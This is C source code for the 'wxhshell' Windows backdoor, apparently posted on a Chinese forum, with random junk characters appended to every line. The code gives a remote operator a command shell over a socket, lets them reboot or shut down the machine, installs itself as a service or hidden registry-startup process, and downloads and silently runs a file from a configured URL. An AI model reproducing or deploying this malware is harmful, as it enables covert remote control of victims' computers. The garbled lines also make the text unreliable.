    switch(cmd[0]) { =xG9a_^v  
  s15f <sp  
  // 帮助 H#w?$?nIWu  
  case '?': { KgAc0pz{7H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AuO%F YKY  
    break; Kh$L~4l  
  } dr'6N1B@  
  // 安装 ?ZTB u[  
  case 'i': { 27u$VHwb  
    if(Install()) `f6Qd2\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dE ^(KBF  
    else S1$\D!|1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <9@VY  
    break; 1/HPcCsHb  
    } uA}asm  
  // 卸载 Ls|;gewp  
  case 'r': { yMo@ka=v  
    if(Uninstall()) b#82G`6r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N|[a<ut<  
    else v]!|\]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2cy{d|c  
    break; K''b)v X4  
    } SG43}  
  // 显示 wxhshell 所在路径 )>TA|W]@  
  case 'p': { !u7WCw.Dm  
    char svExeFile[MAX_PATH]; {K[+nX =#  
    strcpy(svExeFile,"\n\r"); 8d Ftp3(  
      strcat(svExeFile,ExeFile); 2{U4wTu  
        send(wsh,svExeFile,strlen(svExeFile),0); N3x}YHFF  
    break; W_iP/xL  
    } rWbL_1Eq  
  // 重启 ?I7H ):  
  case 'b': { d%]7:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h[XGFz  
    if(Boot(REBOOT)) 9^c_^-8n<}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q!O~*   
    else { V!ajD!00  
    closesocket(wsh); (MxLw:AV  
    ExitThread(0); 9wtl|s%A %  
    } \>YXPMIk  
    break; ke&c<3m  
    } "QiUuD=  
  // 关机 gO$!_!@LM  
  case 'd': { hp>me*vzr  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a,}{f]  
    if(Boot(SHUTDOWN)) m m`:ci  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xmVK{Q YT$  
    else { 8,['q~z  
    closesocket(wsh); FEdyh?$  
    ExitThread(0); }>tUkXlhJ<  
    } -Tz9J4xU&  
    break; ja 9y  
    } E )Hp.  
  // 获取shell wHIS}OONz  
  case 's': { u$a%{46  
    CmdShell(wsh); 'i`;Frmg  
    closesocket(wsh); y<;#*wB  
    ExitThread(0); {ifYr(|p`  
    break; l@Ml8+  
  } <m)@~s?D  
  // 退出 V}aXS;(r%  
  case 'x': { wz:wR+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i 5_g z>  
    CloseIt(wsh); d}WAP m  
    break; re^1fv  
    } 0} {QQB  
  // 离开 H:~LL0Md%  
  case 'q': { qbT].,?!U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $(_i>&d<  
    closesocket(wsh); c\RDa|B,  
    WSACleanup(); v$,9l+p/  
    exit(1); 5gEUE{S  
    break; (# ?~^ut  
        } sS+9ly{9J  
  } Y<kvJb&1*  
  } )IhI~,0Nmj  
Y@L`XNl  
  // 提示信息 HPt"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T> 1E  
} Yoaz|7LS  
  } KH[%HN5v  
{ >4exyu6  
  return; $/pd[H[{  
} lYJ]W[!  
Y> 7/>x6  
// shell模块句柄 <M 7WWtmx  
int CmdShell(SOCKET sock) ?= ulf GrY  
{ ^WUF3Q**OU  
STARTUPINFO si; |'a5n h!  
ZeroMemory(&si,sizeof(si)); vB#3jI  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ? ZN8Ku  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; J6f;dF^  
PROCESS_INFORMATION ProcessInfo; <0lfkeD  
char cmdline[]="cmd"; .CmwR$u&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .Mm8\].  
  return 0; ?)JW}3<.  
} 2^Y1S?g.  
'rz*mR8  
// 自身启动模式 #X|'RL($  
int StartFromService(void) H!s &]b  
{ 1Z*-@%RX  
typedef struct ZT|E1[Q  
{ ~+4OG 0  
  DWORD ExitStatus; r5rK>  
  DWORD PebBaseAddress; }_Jai4O  
  DWORD AffinityMask; {)-%u8J\`N  
  DWORD BasePriority; O":x$>'t  
  ULONG UniqueProcessId; :~`E @`/  
  ULONG InheritedFromUniqueProcessId;  LqU]&AAh  
}   PROCESS_BASIC_INFORMATION; +F`! Jt  
,.F,]m=  
PROCNTQSIP NtQueryInformationProcess; g*!2.P  
LQR9S/?Ld  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p+yU!Qj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; YSeXCJ:Iy  
~ZL}j+L/  
  HANDLE             hProcess; A;{8\e  
  PROCESS_BASIC_INFORMATION pbi; C}W/9_I6Uo  
BQ".$(c q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s8 3_Bd  
  if(NULL == hInst ) return 0; )e Ub@Eu  
>JnEhVRQJ9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {?#g*QF|^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .F> c Z,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fr:RiOPn  
Yuh t<:`  
  if (!NtQueryInformationProcess) return 0; 5 {'%trDEy  
y 37n~~%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]D(%Ku,O%  
  if(!hProcess) return 0; HnU}Lhjzj  
|-2,k#|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l |\Q~ D!o  
_DH,$evS%  
  CloseHandle(hProcess); .D>%-  
[UFLL:_sC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fMhMB |W.  
if(hProcess==NULL) return 0; @hg1&pfxZ<  
nh,N (t 9  
HMODULE hMod; QT?fp >'  
char procName[255]; ZJI|762,  
unsigned long cbNeeded; d}IVYI  
gK`6 NUj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $yhQ)@#1  
,AACE7%l  
  CloseHandle(hProcess);  ^d4#  
;|}6\=(  
if(strstr(procName,"services")) return 1; // 以服务启动 |W{z,e01x  
^Cpvh}1#  
  return 0; // 注册表启动 z\Qg 3BS  
} 2NI3 &;{4  
idGM%Faur  
// 主模块 K4A=lD+  
int StartWxhshell(LPSTR lpCmdLine) ! QP~#a%  
{ o;-)84Aa  
  SOCKET wsl; TRX; m|   
BOOL val=TRUE; /__we[$E  
  int port=0;  [T !#s  
  struct sockaddr_in door; Q%q_  
a?&oOQd-iP  
  if(wscfg.ws_autoins) Install(); D4;V8(w=#  
\ $z.x-U  
port=atoi(lpCmdLine); Z2hRTJJ[A  
8?P@<Do%  
if(port<=0) port=wscfg.ws_port; .hBE&Y>\  
ZZ?=^g  
  WSADATA data; e9"<.:&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d-39G*;1  
Rq9v+Xq2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   UiF?Nx~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1JJQ(b  
  door.sin_family = AF_INET; >8oRO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); LlX 7g _!  
  door.sin_port = htons(port); vM|?;QM  
n%W~+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EKq9m=Ua@o  
closesocket(wsl); >wz-p nD  
return 1; !:a pu!  
} @dD70T  
UPUO8W)<Z6  
  if(listen(wsl,2) == INVALID_SOCKET) { ="<+^$7:k  
closesocket(wsl); gmy_ZVU'  
return 1; IP/ zFbc  
} Rr(,i%fu  
  Wxhshell(wsl); [ gx<7}[  
  WSACleanup(); >*{\N^:z  
fg+Q7'*Vq  
return 0; 8X[G)J;  
vvFXdHP  
} Kh'/Ne?  
fqFE GyeNr  
// 以NT服务方式启动 )m \}ITf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ES }@mO  
{ W}.;]x%1B  
DWORD   status = 0; DRj\i6-v  
  DWORD   specificError = 0xfffffff; (/tbe@<  
~z%K9YcyU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; IWsB$T  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Cddw\|'3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `A$yF38!  
  serviceStatus.dwWin32ExitCode     = 0; N>'1<i?  
  serviceStatus.dwServiceSpecificExitCode = 0; \0'o*nlJ  
  serviceStatus.dwCheckPoint       = 0; ,/ly|Dv  
  serviceStatus.dwWaitHint       = 0; {pE")O7~P  
=H3 JRRS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c_ vj't  
  if (hServiceStatusHandle==0) return; N:\I]M  
;v*$6DIC5  
status = GetLastError(); n3jA[p:  
  if (status!=NO_ERROR) b.Z K1  
{ e*Sv}4e=.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &ZClv"6  
    serviceStatus.dwCheckPoint       = 0; {&,a)h7&  
    serviceStatus.dwWaitHint       = 0; >}43MxU?  
    serviceStatus.dwWin32ExitCode     = status; V[uB0#Lp  
    serviceStatus.dwServiceSpecificExitCode = specificError; %}x/ fq  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  r,!7TuBl  
    return; B&+V%~/  
  } -Q<3Q_  
]?/[& PP,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; G! L=W#{  
  serviceStatus.dwCheckPoint       = 0;  #/MUiV  
  serviceStatus.dwWaitHint       = 0; 8s6[?=nM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o_vK4%y(  
} wVP{R3  
<dLdSEw  
// 处理NT服务事件,比如:启动、停止 +\?#8U/k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z2A7:[  
{ 218ZUg -a  
switch(fdwControl) yf2U-s  
{ ]ta]OK{s"  
case SERVICE_CONTROL_STOP: |j#x}8 [(  
  serviceStatus.dwWin32ExitCode = 0; w%GEOIj}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;vc$;54K  
  serviceStatus.dwCheckPoint   = 0; 4%aODr8  
  serviceStatus.dwWaitHint     = 0; ? D2:'gg  
  { ]SFB_5Gb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GGo nA  
  } `LEk/b1(P  
  return; (iIJ[{[H4)  
case SERVICE_CONTROL_PAUSE:  # G0jMQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c{ +Y $  
  break; xoA\^AA  
case SERVICE_CONTROL_CONTINUE: 4Fgy<^94`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xbxU`2/  
  break; q]`XUGC  
case SERVICE_CONTROL_INTERROGATE: 3^xTZ*G  
  break; Xd!=1 ::  
}; Azxy!gDT"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^ RU"v>  
} "|gNNmr  
bT@3fuL4  
// 标准应用程序主函数 r2]:'O6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vbXuT$  
{ #E3Y; b%v  
aqK<}jy  
// 获取操作系统版本 iL\<G} I  
OsIsNt=GetOsVer(); &$ia#j{l  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C6Ap  4  
jt@k< #h~  
  // 从命令行安装 P`v%< 9~  
  if(strpbrk(lpCmdLine,"iI")) Install(); L!|c: 8  
XwOj`N{!H  
  // 下载执行文件 o6P)IZ1  
if(wscfg.ws_downexe) { ^ D/:[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) MW &iNioX  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q4JwX=ZVj  
} 5#p [Q _  
.36z  
if(!OsIsNt) { rg]eSP3 W  
// 如果时win9x,隐藏进程并且设置为注册表启动 T+8F'9i`  
HideProc(); ?dVF@  
StartWxhshell(lpCmdLine); T_lexX[\  
} (x2I*<7P  
else 5 S$*YRp  
  if(StartFromService()) /lCn^E6-  
  // 以服务方式启动 ?{mFQ  
  StartServiceCtrlDispatcher(DispatchTable); .Vj;[p8  
else -5l74f!i  
  // 普通方式启动 v<,? %(g)7  
  StartWxhshell(lpCmdLine); qY]IX9'kV  
cxFfAk\,en  
return 0; {a-p/\U  
}
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只看该作者 1 发表于: 2006-10-10
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